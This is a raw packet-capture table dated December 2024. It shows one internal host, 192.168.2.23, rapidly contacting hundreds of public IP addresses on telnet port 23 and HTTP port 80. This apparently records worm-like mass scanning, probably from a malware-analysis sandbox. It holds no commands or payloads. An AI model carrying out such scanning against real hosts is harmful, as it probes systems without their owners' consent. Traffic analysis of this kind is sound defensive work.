Dec 3, 2024 21:30:43.212615013 CET	59020	23	192.168.2.23	197.163.35.101
Dec 3, 2024 21:30:43.212616920 CET	59020	23	192.168.2.23	61.56.7.190
Dec 3, 2024 21:30:43.212619066 CET	59020	23	192.168.2.23	179.1.146.211
Dec 3, 2024 21:30:43.212660074 CET	59020	23	192.168.2.23	86.143.73.93
Dec 3, 2024 21:30:43.212660074 CET	59020	23	192.168.2.23	202.200.217.100
Dec 3, 2024 21:30:43.212662935 CET	59020	23	192.168.2.23	123.134.11.243
Dec 3, 2024 21:30:43.212690115 CET	59020	23	192.168.2.23	188.176.240.106
Dec 3, 2024 21:30:43.265501976 CET	23	59020	124.231.45.0	192.168.2.23
Dec 3, 2024 21:30:43.265566111 CET	59020	23	192.168.2.23	124.231.45.0
Dec 3, 2024 21:30:43.265594006 CET	23	59020	46.2.146.14	192.168.2.23
Dec 3, 2024 21:30:43.265605927 CET	23	59020	194.108.20.92	192.168.2.23
Dec 3, 2024 21:30:43.265615940 CET	23	59020	156.38.35.221	192.168.2.23
Dec 3, 2024 21:30:43.265629053 CET	23	59020	66.61.201.208	192.168.2.23
Dec 3, 2024 21:30:43.265655994 CET	59020	23	192.168.2.23	46.2.146.14
Dec 3, 2024 21:30:43.265655994 CET	59020	23	192.168.2.23	156.38.35.221
Dec 3, 2024 21:30:43.265665054 CET	59020	23	192.168.2.23	194.108.20.92
Dec 3, 2024 21:30:43.265665054 CET	59020	23	192.168.2.23	66.61.201.208
Dec 3, 2024 21:30:43.265691042 CET	23	59020	13.244.254.74	192.168.2.23
Dec 3, 2024 21:30:43.265702009 CET	23	59020	165.63.132.190	192.168.2.23
Dec 3, 2024 21:30:43.265722036 CET	23	59020	166.253.153.2	192.168.2.23
Dec 3, 2024 21:30:43.265732050 CET	23	59020	2.243.241.221	192.168.2.23
Dec 3, 2024 21:30:43.265733957 CET	59020	23	192.168.2.23	13.244.254.74
Dec 3, 2024 21:30:43.265741110 CET	59020	23	192.168.2.23	165.63.132.190
Dec 3, 2024 21:30:43.265742064 CET	23	59020	204.130.206.79	192.168.2.23
Dec 3, 2024 21:30:43.265762091 CET	59020	23	192.168.2.23	166.253.153.2
Dec 3, 2024 21:30:43.265762091 CET	59020	23	192.168.2.23	2.243.241.221
Dec 3, 2024 21:30:43.265785933 CET	23	59020	2.43.214.194	192.168.2.23
Dec 3, 2024 21:30:43.265789986 CET	59020	23	192.168.2.23	204.130.206.79
Dec 3, 2024 21:30:43.265795946 CET	23	59020	185.18.251.225	192.168.2.23
Dec 3, 2024 21:30:43.265805006 CET	23	59020	12.35.253.138	192.168.2.23
Dec 3, 2024 21:30:43.265818119 CET	23	59020	223.154.98.180	192.168.2.23
Dec 3, 2024 21:30:43.265830040 CET	59020	23	192.168.2.23	185.18.251.225
Dec 3, 2024 21:30:43.265830040 CET	59020	23	192.168.2.23	2.43.214.194
Dec 3, 2024 21:30:43.265845060 CET	59020	23	192.168.2.23	12.35.253.138
Dec 3, 2024 21:30:43.265851974 CET	59020	23	192.168.2.23	223.154.98.180
Dec 3, 2024 21:30:43.265887022 CET	23	59020	23.226.190.154	192.168.2.23
Dec 3, 2024 21:30:43.265897036 CET	23	59020	188.74.46.189	192.168.2.23
Dec 3, 2024 21:30:43.265906096 CET	23	59020	40.145.84.1	192.168.2.23
Dec 3, 2024 21:30:43.265914917 CET	23	59020	43.29.228.48	192.168.2.23
Dec 3, 2024 21:30:43.265925884 CET	59020	23	192.168.2.23	23.226.190.154
Dec 3, 2024 21:30:43.265928984 CET	23	59020	132.103.141.157	192.168.2.23
Dec 3, 2024 21:30:43.265934944 CET	59020	23	192.168.2.23	188.74.46.189
Dec 3, 2024 21:30:43.265944004 CET	23	59020	34.92.10.138	192.168.2.23
Dec 3, 2024 21:30:43.265945911 CET	59020	23	192.168.2.23	40.145.84.1
Dec 3, 2024 21:30:43.265949965 CET	59020	23	192.168.2.23	43.29.228.48
Dec 3, 2024 21:30:43.265961885 CET	23	59020	57.92.154.38	192.168.2.23
Dec 3, 2024 21:30:43.265964031 CET	59020	23	192.168.2.23	132.103.141.157
Dec 3, 2024 21:30:43.265971899 CET	23	59020	27.213.19.17	192.168.2.23
Dec 3, 2024 21:30:43.265984058 CET	23	59020	126.177.31.184	192.168.2.23
Dec 3, 2024 21:30:43.265985966 CET	59020	23	192.168.2.23	34.92.10.138
Dec 3, 2024 21:30:43.265990019 CET	59020	23	192.168.2.23	57.92.154.38
Dec 3, 2024 21:30:43.266001940 CET	23	59020	46.179.59.24	192.168.2.23
Dec 3, 2024 21:30:43.266012907 CET	23	59020	170.0.182.246	192.168.2.23
Dec 3, 2024 21:30:43.266016960 CET	59020	23	192.168.2.23	27.213.19.17
Dec 3, 2024 21:30:43.266019106 CET	23	59020	191.3.55.116	192.168.2.23
Dec 3, 2024 21:30:43.266024113 CET	23	59020	40.94.227.53	192.168.2.23
Dec 3, 2024 21:30:43.266025066 CET	59020	23	192.168.2.23	126.177.31.184
Dec 3, 2024 21:30:43.266055107 CET	59020	23	192.168.2.23	170.0.182.246
Dec 3, 2024 21:30:43.266055107 CET	59020	23	192.168.2.23	46.179.59.24
Dec 3, 2024 21:30:43.266055107 CET	59020	23	192.168.2.23	191.3.55.116
Dec 3, 2024 21:30:43.266058922 CET	59020	23	192.168.2.23	40.94.227.53
Dec 3, 2024 21:30:43.266329050 CET	23	59020	82.192.184.203	192.168.2.23
Dec 3, 2024 21:30:43.266371965 CET	59020	23	192.168.2.23	82.192.184.203
Dec 3, 2024 21:30:43.266468048 CET	23	59020	50.168.89.47	192.168.2.23
Dec 3, 2024 21:30:43.266479015 CET	23	59020	197.16.48.53	192.168.2.23
Dec 3, 2024 21:30:43.266488075 CET	23	59020	25.75.119.137	192.168.2.23
Dec 3, 2024 21:30:43.266504049 CET	23	59020	110.92.224.193	192.168.2.23
Dec 3, 2024 21:30:43.266510963 CET	59020	23	192.168.2.23	50.168.89.47
Dec 3, 2024 21:30:43.266511917 CET	59020	23	192.168.2.23	25.75.119.137
Dec 3, 2024 21:30:43.266520977 CET	23	59020	60.84.100.29	192.168.2.23
Dec 3, 2024 21:30:43.266539097 CET	59020	23	192.168.2.23	110.92.224.193
Dec 3, 2024 21:30:43.266540051 CET	59020	23	192.168.2.23	197.16.48.53
Dec 3, 2024 21:30:43.266549110 CET	59020	23	192.168.2.23	60.84.100.29
Dec 3, 2024 21:30:43.266761065 CET	23	59020	178.26.103.2	192.168.2.23
Dec 3, 2024 21:30:43.266771078 CET	23	59020	161.14.22.247	192.168.2.23
Dec 3, 2024 21:30:43.266779900 CET	23	59020	176.6.119.166	192.168.2.23
Dec 3, 2024 21:30:43.266788960 CET	23	59020	54.5.111.2	192.168.2.23
Dec 3, 2024 21:30:43.266798019 CET	23	59020	128.196.232.229	192.168.2.23
Dec 3, 2024 21:30:43.266805887 CET	59020	23	192.168.2.23	178.26.103.2
Dec 3, 2024 21:30:43.266807079 CET	59020	23	192.168.2.23	176.6.119.166
Dec 3, 2024 21:30:43.266808033 CET	23	59020	133.205.15.78	192.168.2.23
Dec 3, 2024 21:30:43.266812086 CET	59020	23	192.168.2.23	161.14.22.247
Dec 3, 2024 21:30:43.266819000 CET	23	59020	210.225.29.26	192.168.2.23
Dec 3, 2024 21:30:43.266828060 CET	23	59020	19.119.56.33	192.168.2.23
Dec 3, 2024 21:30:43.266834021 CET	59020	23	192.168.2.23	54.5.111.2
Dec 3, 2024 21:30:43.266845942 CET	59020	23	192.168.2.23	133.205.15.78
Dec 3, 2024 21:30:43.266850948 CET	59020	23	192.168.2.23	128.196.232.229
Dec 3, 2024 21:30:43.266851902 CET	59020	23	192.168.2.23	210.225.29.26
Dec 3, 2024 21:30:43.266865015 CET	59020	23	192.168.2.23	19.119.56.33
Dec 3, 2024 21:30:43.266880989 CET	23	59020	181.252.142.38	192.168.2.23
Dec 3, 2024 21:30:43.266891003 CET	23	59020	176.71.168.75	192.168.2.23
Dec 3, 2024 21:30:43.266901016 CET	23	59020	80.198.246.248	192.168.2.23
Dec 3, 2024 21:30:43.266910076 CET	23	59020	80.48.230.155	192.168.2.23
Dec 3, 2024 21:30:43.266918898 CET	59020	23	192.168.2.23	176.71.168.75
Dec 3, 2024 21:30:43.266922951 CET	59020	23	192.168.2.23	181.252.142.38
Dec 3, 2024 21:30:43.266948938 CET	59020	23	192.168.2.23	80.48.230.155
Dec 3, 2024 21:30:43.266957045 CET	59020	23	192.168.2.23	80.198.246.248
Dec 3, 2024 21:30:43.304303885 CET	23	59020	93.92.111.144	192.168.2.23
Dec 3, 2024 21:30:43.304327011 CET	23	59020	166.225.157.226	192.168.2.23
Dec 3, 2024 21:30:43.304337025 CET	23	59020	154.42.139.201	192.168.2.23
Dec 3, 2024 21:30:43.304349899 CET	23	59020	167.204.244.19	192.168.2.23
Dec 3, 2024 21:30:43.304361105 CET	23	59020	8.208.212.60	192.168.2.23
Dec 3, 2024 21:30:43.304369926 CET	23	59020	74.180.236.205	192.168.2.23
Dec 3, 2024 21:30:43.304383039 CET	59020	23	192.168.2.23	166.225.157.226
Dec 3, 2024 21:30:43.304389954 CET	59020	23	192.168.2.23	167.204.244.19
Dec 3, 2024 21:30:43.304389954 CET	59020	23	192.168.2.23	93.92.111.144
Dec 3, 2024 21:30:43.304388046 CET	59020	23	192.168.2.23	154.42.139.201
Dec 3, 2024 21:30:43.304416895 CET	59020	23	192.168.2.23	74.180.236.205
Dec 3, 2024 21:30:43.304419041 CET	59020	23	192.168.2.23	8.208.212.60
Dec 3, 2024 21:30:43.304460049 CET	23	59020	121.17.241.58	192.168.2.23
Dec 3, 2024 21:30:43.304470062 CET	23	59020	119.76.123.178	192.168.2.23
Dec 3, 2024 21:30:43.304478884 CET	23	59020	91.163.122.199	192.168.2.23
Dec 3, 2024 21:30:43.304486990 CET	23	59020	211.191.37.100	192.168.2.23
Dec 3, 2024 21:30:43.304505110 CET	23	59020	68.191.188.26	192.168.2.23
Dec 3, 2024 21:30:43.304513931 CET	23	59020	12.187.237.45	192.168.2.23
Dec 3, 2024 21:30:43.304517984 CET	59020	23	192.168.2.23	121.17.241.58
Dec 3, 2024 21:30:43.304519892 CET	59020	23	192.168.2.23	119.76.123.178
Dec 3, 2024 21:30:43.304523945 CET	23	59020	53.33.144.166	192.168.2.23
Dec 3, 2024 21:30:43.304541111 CET	59020	23	192.168.2.23	211.191.37.100
Dec 3, 2024 21:30:43.304542065 CET	59020	23	192.168.2.23	68.191.188.26
Dec 3, 2024 21:30:43.304543972 CET	59020	23	192.168.2.23	12.187.237.45
Dec 3, 2024 21:30:43.304548025 CET	23	59020	148.17.19.153	192.168.2.23
Dec 3, 2024 21:30:43.304553032 CET	59020	23	192.168.2.23	91.163.122.199
Dec 3, 2024 21:30:43.304560900 CET	59020	23	192.168.2.23	53.33.144.166
Dec 3, 2024 21:30:43.304563999 CET	23	59020	198.43.232.12	192.168.2.23
Dec 3, 2024 21:30:43.304574966 CET	23	59020	58.194.123.77	192.168.2.23
Dec 3, 2024 21:30:43.304580927 CET	59020	23	192.168.2.23	148.17.19.153
Dec 3, 2024 21:30:43.304584026 CET	23	59020	206.254.154.200	192.168.2.23
Dec 3, 2024 21:30:43.304589033 CET	23	59020	68.216.162.11	192.168.2.23
Dec 3, 2024 21:30:43.304609060 CET	23	59020	162.113.147.200	192.168.2.23
Dec 3, 2024 21:30:43.304610014 CET	59020	23	192.168.2.23	198.43.232.12
Dec 3, 2024 21:30:43.304620028 CET	59020	23	192.168.2.23	206.254.154.200
Dec 3, 2024 21:30:43.304621935 CET	23	59020	142.173.243.207	192.168.2.23
Dec 3, 2024 21:30:43.304626942 CET	59020	23	192.168.2.23	58.194.123.77
Dec 3, 2024 21:30:43.304626942 CET	59020	23	192.168.2.23	68.216.162.11
Dec 3, 2024 21:30:43.304631948 CET	23	59020	200.94.178.153	192.168.2.23
Dec 3, 2024 21:30:43.304645061 CET	23	59020	106.175.251.77	192.168.2.23
Dec 3, 2024 21:30:43.304651976 CET	59020	23	192.168.2.23	162.113.147.200
Dec 3, 2024 21:30:43.304652929 CET	23	59020	218.156.229.115	192.168.2.23
Dec 3, 2024 21:30:43.304655075 CET	59020	23	192.168.2.23	142.173.243.207
Dec 3, 2024 21:30:43.304665089 CET	23	59020	222.96.248.210	192.168.2.23
Dec 3, 2024 21:30:43.304681063 CET	59020	23	192.168.2.23	200.94.178.153
Dec 3, 2024 21:30:43.304685116 CET	23	59020	210.215.207.117	192.168.2.23
Dec 3, 2024 21:30:43.304685116 CET	59020	23	192.168.2.23	106.175.251.77
Dec 3, 2024 21:30:43.304694891 CET	23	59020	96.211.170.115	192.168.2.23
Dec 3, 2024 21:30:43.304698944 CET	59020	23	192.168.2.23	218.156.229.115
Dec 3, 2024 21:30:43.304701090 CET	59020	23	192.168.2.23	222.96.248.210
Dec 3, 2024 21:30:43.304703951 CET	23	59020	74.113.93.109	192.168.2.23
Dec 3, 2024 21:30:43.304708958 CET	23	59020	71.209.137.97	192.168.2.23
Dec 3, 2024 21:30:43.304733038 CET	59020	23	192.168.2.23	210.215.207.117
Dec 3, 2024 21:30:43.304733992 CET	59020	23	192.168.2.23	96.211.170.115
Dec 3, 2024 21:30:43.304733992 CET	59020	23	192.168.2.23	71.209.137.97
Dec 3, 2024 21:30:43.304735899 CET	59020	23	192.168.2.23	74.113.93.109
Dec 3, 2024 21:30:43.305366039 CET	23	59020	43.180.38.182	192.168.2.23
Dec 3, 2024 21:30:43.305376053 CET	23	59020	96.162.99.68	192.168.2.23
Dec 3, 2024 21:30:43.305385113 CET	23	59020	176.216.150.111	192.168.2.23
Dec 3, 2024 21:30:43.305402994 CET	23	59020	85.20.233.138	192.168.2.23
Dec 3, 2024 21:30:43.305411100 CET	59020	23	192.168.2.23	96.162.99.68
Dec 3, 2024 21:30:43.305412054 CET	59020	23	192.168.2.23	176.216.150.111
Dec 3, 2024 21:30:43.305418015 CET	59020	23	192.168.2.23	43.180.38.182
Dec 3, 2024 21:30:43.305419922 CET	23	59020	203.145.248.48	192.168.2.23
Dec 3, 2024 21:30:43.305442095 CET	59020	23	192.168.2.23	85.20.233.138
Dec 3, 2024 21:30:43.305445910 CET	23	59020	51.175.67.128	192.168.2.23
Dec 3, 2024 21:30:43.305455923 CET	23	59020	131.53.251.55	192.168.2.23
Dec 3, 2024 21:30:43.305460930 CET	23	59020	19.120.53.198	192.168.2.23
Dec 3, 2024 21:30:43.305464029 CET	59020	23	192.168.2.23	203.145.248.48
Dec 3, 2024 21:30:43.305471897 CET	23	59020	129.182.234.70	192.168.2.23
Dec 3, 2024 21:30:43.305485964 CET	23	59020	194.115.20.91	192.168.2.23
Dec 3, 2024 21:30:43.305490017 CET	59020	23	192.168.2.23	19.120.53.198
Dec 3, 2024 21:30:43.305491924 CET	59020	23	192.168.2.23	51.175.67.128
Dec 3, 2024 21:30:43.305490971 CET	59020	23	192.168.2.23	131.53.251.55
Dec 3, 2024 21:30:43.305517912 CET	59020	23	192.168.2.23	129.182.234.70
Dec 3, 2024 21:30:43.305519104 CET	59020	23	192.168.2.23	194.115.20.91
Dec 3, 2024 21:30:43.305526972 CET	23	59020	91.210.230.248	192.168.2.23
Dec 3, 2024 21:30:43.305540085 CET	23	59020	65.166.45.250	192.168.2.23
Dec 3, 2024 21:30:43.305547953 CET	23	59020	162.134.122.6	192.168.2.23
Dec 3, 2024 21:30:43.305557013 CET	23	59020	208.190.36.105	192.168.2.23
Dec 3, 2024 21:30:43.305577040 CET	59020	23	192.168.2.23	91.210.230.248
Dec 3, 2024 21:30:43.305577040 CET	59020	23	192.168.2.23	65.166.45.250
Dec 3, 2024 21:30:43.305589914 CET	59020	23	192.168.2.23	162.134.122.6
Dec 3, 2024 21:30:43.305593967 CET	59020	23	192.168.2.23	208.190.36.105
Dec 3, 2024 21:30:43.305603981 CET	23	59020	19.235.31.89	192.168.2.23
Dec 3, 2024 21:30:43.305613995 CET	23	59020	1.88.107.242	192.168.2.23
Dec 3, 2024 21:30:43.305619001 CET	23	59020	41.134.249.197	192.168.2.23
Dec 3, 2024 21:30:43.305623055 CET	23	59020	34.176.139.72	192.168.2.23
Dec 3, 2024 21:30:43.305632114 CET	23	59020	81.241.6.40	192.168.2.23
Dec 3, 2024 21:30:43.305641890 CET	23	59020	161.62.231.126	192.168.2.23
Dec 3, 2024 21:30:43.305646896 CET	59020	23	192.168.2.23	19.235.31.89
Dec 3, 2024 21:30:43.305649042 CET	59020	23	192.168.2.23	1.88.107.242
Dec 3, 2024 21:30:43.305655003 CET	59020	23	192.168.2.23	41.134.249.197
Dec 3, 2024 21:30:43.305661917 CET	23	59020	63.241.27.137	192.168.2.23
Dec 3, 2024 21:30:43.305661917 CET	59020	23	192.168.2.23	34.176.139.72
Dec 3, 2024 21:30:43.305661917 CET	59020	23	192.168.2.23	81.241.6.40
Dec 3, 2024 21:30:43.305671930 CET	23	59020	85.182.50.127	192.168.2.23
Dec 3, 2024 21:30:43.305674076 CET	59020	23	192.168.2.23	161.62.231.126
Dec 3, 2024 21:30:43.305680990 CET	23	59020	61.142.185.97	192.168.2.23
Dec 3, 2024 21:30:43.305690050 CET	23	59020	74.73.251.168	192.168.2.23
Dec 3, 2024 21:30:43.305695057 CET	23	59020	25.56.167.164	192.168.2.23
Dec 3, 2024 21:30:43.305702925 CET	23	59020	97.74.158.156	192.168.2.23
Dec 3, 2024 21:30:43.305705070 CET	59020	23	192.168.2.23	85.182.50.127
Dec 3, 2024 21:30:43.305706024 CET	59020	23	192.168.2.23	63.241.27.137
Dec 3, 2024 21:30:43.305726051 CET	23	59020	53.231.191.240	192.168.2.23
Dec 3, 2024 21:30:43.305727959 CET	59020	23	192.168.2.23	74.73.251.168
Dec 3, 2024 21:30:43.305730104 CET	59020	23	192.168.2.23	61.142.185.97
Dec 3, 2024 21:30:43.305730104 CET	59020	23	192.168.2.23	25.56.167.164
Dec 3, 2024 21:30:43.305730104 CET	59020	23	192.168.2.23	97.74.158.156
Dec 3, 2024 21:30:43.305736065 CET	23	59020	180.90.102.195	192.168.2.23
Dec 3, 2024 21:30:43.305762053 CET	59020	23	192.168.2.23	180.90.102.195
Dec 3, 2024 21:30:43.305766106 CET	59020	23	192.168.2.23	53.231.191.240
Dec 3, 2024 21:30:43.306701899 CET	23	59020	115.203.3.49	192.168.2.23
Dec 3, 2024 21:30:43.306720018 CET	23	59020	99.165.179.226	192.168.2.23
Dec 3, 2024 21:30:43.306730032 CET	23	59020	186.96.201.67	192.168.2.23
Dec 3, 2024 21:30:43.306747913 CET	59020	23	192.168.2.23	115.203.3.49
Dec 3, 2024 21:30:43.306763887 CET	59020	23	192.168.2.23	186.96.201.67
Dec 3, 2024 21:30:43.306766987 CET	59020	23	192.168.2.23	99.165.179.226
Dec 3, 2024 21:30:43.306859970 CET	23	59020	67.37.200.217	192.168.2.23
Dec 3, 2024 21:30:43.306869984 CET	23	59020	207.160.81.154	192.168.2.23
Dec 3, 2024 21:30:43.306878090 CET	23	59020	73.139.185.19	192.168.2.23
Dec 3, 2024 21:30:43.306886911 CET	23	59020	187.243.126.98	192.168.2.23
Dec 3, 2024 21:30:43.306895018 CET	23	59020	133.9.167.11	192.168.2.23
Dec 3, 2024 21:30:43.306902885 CET	59020	23	192.168.2.23	207.160.81.154
Dec 3, 2024 21:30:43.306904078 CET	23	59020	126.77.54.136	192.168.2.23
Dec 3, 2024 21:30:43.306906939 CET	23	59020	126.30.189.232	192.168.2.23
Dec 3, 2024 21:30:43.306907892 CET	59020	23	192.168.2.23	67.37.200.217
Dec 3, 2024 21:30:43.306915045 CET	23	59020	129.212.246.190	192.168.2.23
Dec 3, 2024 21:30:43.306915998 CET	59020	23	192.168.2.23	73.139.185.19
Dec 3, 2024 21:30:43.306921005 CET	23	59020	147.250.85.212	192.168.2.23
Dec 3, 2024 21:30:43.306930065 CET	59020	23	192.168.2.23	187.243.126.98
Dec 3, 2024 21:30:43.306936026 CET	59020	23	192.168.2.23	126.77.54.136
Dec 3, 2024 21:30:43.306936979 CET	23	59020	204.160.43.164	192.168.2.23
Dec 3, 2024 21:30:43.306936979 CET	59020	23	192.168.2.23	133.9.167.11
Dec 3, 2024 21:30:43.306945086 CET	59020	23	192.168.2.23	126.30.189.232
Dec 3, 2024 21:30:43.306947947 CET	23	59020	121.65.133.248	192.168.2.23
Dec 3, 2024 21:30:43.306955099 CET	59020	23	192.168.2.23	129.212.246.190
Dec 3, 2024 21:30:43.306956053 CET	23	59020	166.186.25.158	192.168.2.23
Dec 3, 2024 21:30:43.306962013 CET	59020	23	192.168.2.23	147.250.85.212
Dec 3, 2024 21:30:43.306984901 CET	59020	23	192.168.2.23	204.160.43.164
Dec 3, 2024 21:30:43.306984901 CET	59020	23	192.168.2.23	121.65.133.248
Dec 3, 2024 21:30:43.306986094 CET	23	59020	109.40.150.96	192.168.2.23
Dec 3, 2024 21:30:43.306993008 CET	59020	23	192.168.2.23	166.186.25.158
Dec 3, 2024 21:30:43.306997061 CET	23	59020	90.229.19.2	192.168.2.23
Dec 3, 2024 21:30:43.307005882 CET	23	59020	79.3.97.7	192.168.2.23
Dec 3, 2024 21:30:43.307013988 CET	23	59020	50.119.174.232	192.168.2.23
Dec 3, 2024 21:30:43.307022095 CET	23	59020	50.60.187.2	192.168.2.23
Dec 3, 2024 21:30:43.307023048 CET	59020	23	192.168.2.23	109.40.150.96
Dec 3, 2024 21:30:43.307029963 CET	59020	23	192.168.2.23	90.229.19.2
Dec 3, 2024 21:30:43.307030916 CET	23	59020	220.68.9.199	192.168.2.23
Dec 3, 2024 21:30:43.307039022 CET	23	59020	39.198.94.35	192.168.2.23
Dec 3, 2024 21:30:43.307044983 CET	59020	23	192.168.2.23	79.3.97.7
Dec 3, 2024 21:30:43.307048082 CET	23	59020	59.208.227.193	192.168.2.23
Dec 3, 2024 21:30:43.307055950 CET	23	59020	103.144.1.159	192.168.2.23
Dec 3, 2024 21:30:43.307060003 CET	59020	23	192.168.2.23	50.119.174.232
Dec 3, 2024 21:30:43.307064056 CET	23	59020	204.40.230.247	192.168.2.23
Dec 3, 2024 21:30:43.307071924 CET	23	59020	62.157.49.57	192.168.2.23
Dec 3, 2024 21:30:43.307073116 CET	59020	23	192.168.2.23	50.60.187.2
Dec 3, 2024 21:30:43.307075024 CET	59020	23	192.168.2.23	220.68.9.199
Dec 3, 2024 21:30:43.307075977 CET	23	59020	201.22.65.110	192.168.2.23
Dec 3, 2024 21:30:43.307080984 CET	23	59020	139.197.241.107	192.168.2.23
Dec 3, 2024 21:30:43.307081938 CET	59020	23	192.168.2.23	39.198.94.35
Dec 3, 2024 21:30:43.307081938 CET	59020	23	192.168.2.23	103.144.1.159
Dec 3, 2024 21:30:43.307082891 CET	59020	23	192.168.2.23	59.208.227.193
Dec 3, 2024 21:30:43.307121038 CET	59020	23	192.168.2.23	62.157.49.57
Dec 3, 2024 21:30:43.307121038 CET	59020	23	192.168.2.23	201.22.65.110
Dec 3, 2024 21:30:43.307121038 CET	59020	23	192.168.2.23	139.197.241.107
Dec 3, 2024 21:30:43.307122946 CET	59020	23	192.168.2.23	204.40.230.247
Dec 3, 2024 21:30:43.307145119 CET	23	59020	182.88.56.145	192.168.2.23
Dec 3, 2024 21:30:43.307184935 CET	59020	23	192.168.2.23	182.88.56.145
Dec 3, 2024 21:30:43.307204962 CET	80	59010	62.251.156.30	192.168.2.23
Dec 3, 2024 21:30:43.307214975 CET	80	59010	146.133.124.148	192.168.2.23
Dec 3, 2024 21:30:43.307245970 CET	59010	80	192.168.2.23	146.133.124.148
Dec 3, 2024 21:30:43.307245970 CET	59010	80	192.168.2.23	62.251.156.30
Dec 3, 2024 21:30:43.307255030 CET	80	59010	82.229.0.28	192.168.2.23
Dec 3, 2024 21:30:43.307265997 CET	80	59010	66.165.148.30	192.168.2.23
Dec 3, 2024 21:30:43.307280064 CET	80	59010	141.138.32.5	192.168.2.23
Dec 3, 2024 21:30:43.307287931 CET	59010	80	192.168.2.23	82.229.0.28
Dec 3, 2024 21:30:43.307296991 CET	59010	80	192.168.2.23	66.165.148.30
Dec 3, 2024 21:30:43.307317972 CET	59010	80	192.168.2.23	141.138.32.5
Dec 3, 2024 21:30:43.307359934 CET	80	59010	203.56.202.155	192.168.2.23
Dec 3, 2024 21:30:43.307405949 CET	59010	80	192.168.2.23	203.56.202.155
Dec 3, 2024 21:30:43.315308094 CET	80	59010	186.156.15.254	192.168.2.23
Dec 3, 2024 21:30:43.315337896 CET	80	59010	20.59.233.109	192.168.2.23
Dec 3, 2024 21:30:43.315355062 CET	80	59010	106.18.65.138	192.168.2.23
Dec 3, 2024 21:30:43.315357924 CET	59010	80	192.168.2.23	186.156.15.254
Dec 3, 2024 21:30:43.315366030 CET	80	59010	59.67.123.39	192.168.2.23
Dec 3, 2024 21:30:43.315376997 CET	80	59010	38.62.190.185	192.168.2.23
Dec 3, 2024 21:30:43.315382004 CET	59010	80	192.168.2.23	20.59.233.109
Dec 3, 2024 21:30:43.315393925 CET	59010	80	192.168.2.23	106.18.65.138
Dec 3, 2024 21:30:43.315399885 CET	59010	80	192.168.2.23	59.67.123.39
Dec 3, 2024 21:30:43.315412998 CET	80	59010	58.116.94.185	192.168.2.23
Dec 3, 2024 21:30:43.315414906 CET	59010	80	192.168.2.23	38.62.190.185
Dec 3, 2024 21:30:43.315422058 CET	80	59010	25.254.23.8	192.168.2.23
Dec 3, 2024 21:30:43.315433025 CET	80	59010	17.199.51.140	192.168.2.23
Dec 3, 2024 21:30:43.315455914 CET	59010	80	192.168.2.23	58.116.94.185
Dec 3, 2024 21:30:43.315455914 CET	59010	80	192.168.2.23	25.254.23.8
Dec 3, 2024 21:30:43.315458059 CET	80	59010	43.229.248.108	192.168.2.23
Dec 3, 2024 21:30:43.315469027 CET	80	59010	31.92.8.83	192.168.2.23
Dec 3, 2024 21:30:43.315473080 CET	59010	80	192.168.2.23	17.199.51.140
Dec 3, 2024 21:30:43.315478086 CET	80	59010	14.22.75.80	192.168.2.23
Dec 3, 2024 21:30:43.315489054 CET	80	59010	34.146.37.224	192.168.2.23
Dec 3, 2024 21:30:43.315501928 CET	80	59010	130.101.219.220	192.168.2.23
Dec 3, 2024 21:30:43.315502882 CET	59010	80	192.168.2.23	43.229.248.108
Dec 3, 2024 21:30:43.315509081 CET	59010	80	192.168.2.23	31.92.8.83
Dec 3, 2024 21:30:43.315516949 CET	59010	80	192.168.2.23	14.22.75.80
Dec 3, 2024 21:30:43.315521002 CET	80	59010	210.139.219.136	192.168.2.23
Dec 3, 2024 21:30:43.315527916 CET	59010	80	192.168.2.23	34.146.37.224
Dec 3, 2024 21:30:43.315531015 CET	80	59010	220.147.70.240	192.168.2.23
Dec 3, 2024 21:30:43.315541029 CET	80	59010	131.253.175.72	192.168.2.23
Dec 3, 2024 21:30:43.315546989 CET	59010	80	192.168.2.23	130.101.219.220
Dec 3, 2024 21:30:43.315558910 CET	59010	80	192.168.2.23	210.139.219.136
Dec 3, 2024 21:30:43.315558910 CET	59010	80	192.168.2.23	220.147.70.240
Dec 3, 2024 21:30:43.315568924 CET	59010	80	192.168.2.23	131.253.175.72
Dec 3, 2024 21:30:43.315576077 CET	80	59010	116.134.216.144	192.168.2.23
Dec 3, 2024 21:30:43.315584898 CET	80	59010	138.144.120.102	192.168.2.23
Dec 3, 2024 21:30:43.315606117 CET	80	59010	114.110.202.2	192.168.2.23
Dec 3, 2024 21:30:43.315614939 CET	80	59010	144.224.111.176	192.168.2.23
Dec 3, 2024 21:30:43.315615892 CET	59010	80	192.168.2.23	116.134.216.144
Dec 3, 2024 21:30:43.315627098 CET	59010	80	192.168.2.23	138.144.120.102
Dec 3, 2024 21:30:43.315649986 CET	59010	80	192.168.2.23	144.224.111.176
Dec 3, 2024 21:30:43.315650940 CET	59010	80	192.168.2.23	114.110.202.2
Dec 3, 2024 21:30:43.315671921 CET	80	59010	116.194.41.197	192.168.2.23
Dec 3, 2024 21:30:43.315689087 CET	80	59010	144.54.102.150	192.168.2.23
Dec 3, 2024 21:30:43.315699100 CET	80	59010	166.201.120.121	192.168.2.23
Dec 3, 2024 21:30:43.315716028 CET	59010	80	192.168.2.23	116.194.41.197
Dec 3, 2024 21:30:43.315723896 CET	59010	80	192.168.2.23	144.54.102.150
Dec 3, 2024 21:30:43.315725088 CET	59010	80	192.168.2.23	166.201.120.121
Dec 3, 2024 21:30:43.315861940 CET	80	59010	131.7.112.212	192.168.2.23
Dec 3, 2024 21:30:43.315872908 CET	80	59010	82.70.119.51	192.168.2.23
Dec 3, 2024 21:30:43.315876961 CET	80	59010	102.204.97.206	192.168.2.23
Dec 3, 2024 21:30:43.315881968 CET	80	59010	98.158.120.78	192.168.2.23
Dec 3, 2024 21:30:43.315886021 CET	80	59010	51.169.13.216	192.168.2.23
Dec 3, 2024 21:30:43.315942049 CET	59010	80	192.168.2.23	98.158.120.78
Dec 3, 2024 21:30:43.315948009 CET	59010	80	192.168.2.23	131.7.112.212
Dec 3, 2024 21:30:43.315948009 CET	59010	80	192.168.2.23	102.204.97.206
Dec 3, 2024 21:30:43.315943956 CET	59010	80	192.168.2.23	82.70.119.51
Dec 3, 2024 21:30:43.315951109 CET	59010	80	192.168.2.23	51.169.13.216
Dec 3, 2024 21:30:43.316404104 CET	80	59010	84.157.98.15	192.168.2.23
Dec 3, 2024 21:30:43.316447973 CET	59010	80	192.168.2.23	84.157.98.15
Dec 3, 2024 21:30:43.316484928 CET	80	59010	146.238.142.226	192.168.2.23
Dec 3, 2024 21:30:43.316495895 CET	80	59010	97.79.151.94	192.168.2.23
Dec 3, 2024 21:30:43.316504955 CET	80	59010	40.213.82.216	192.168.2.23
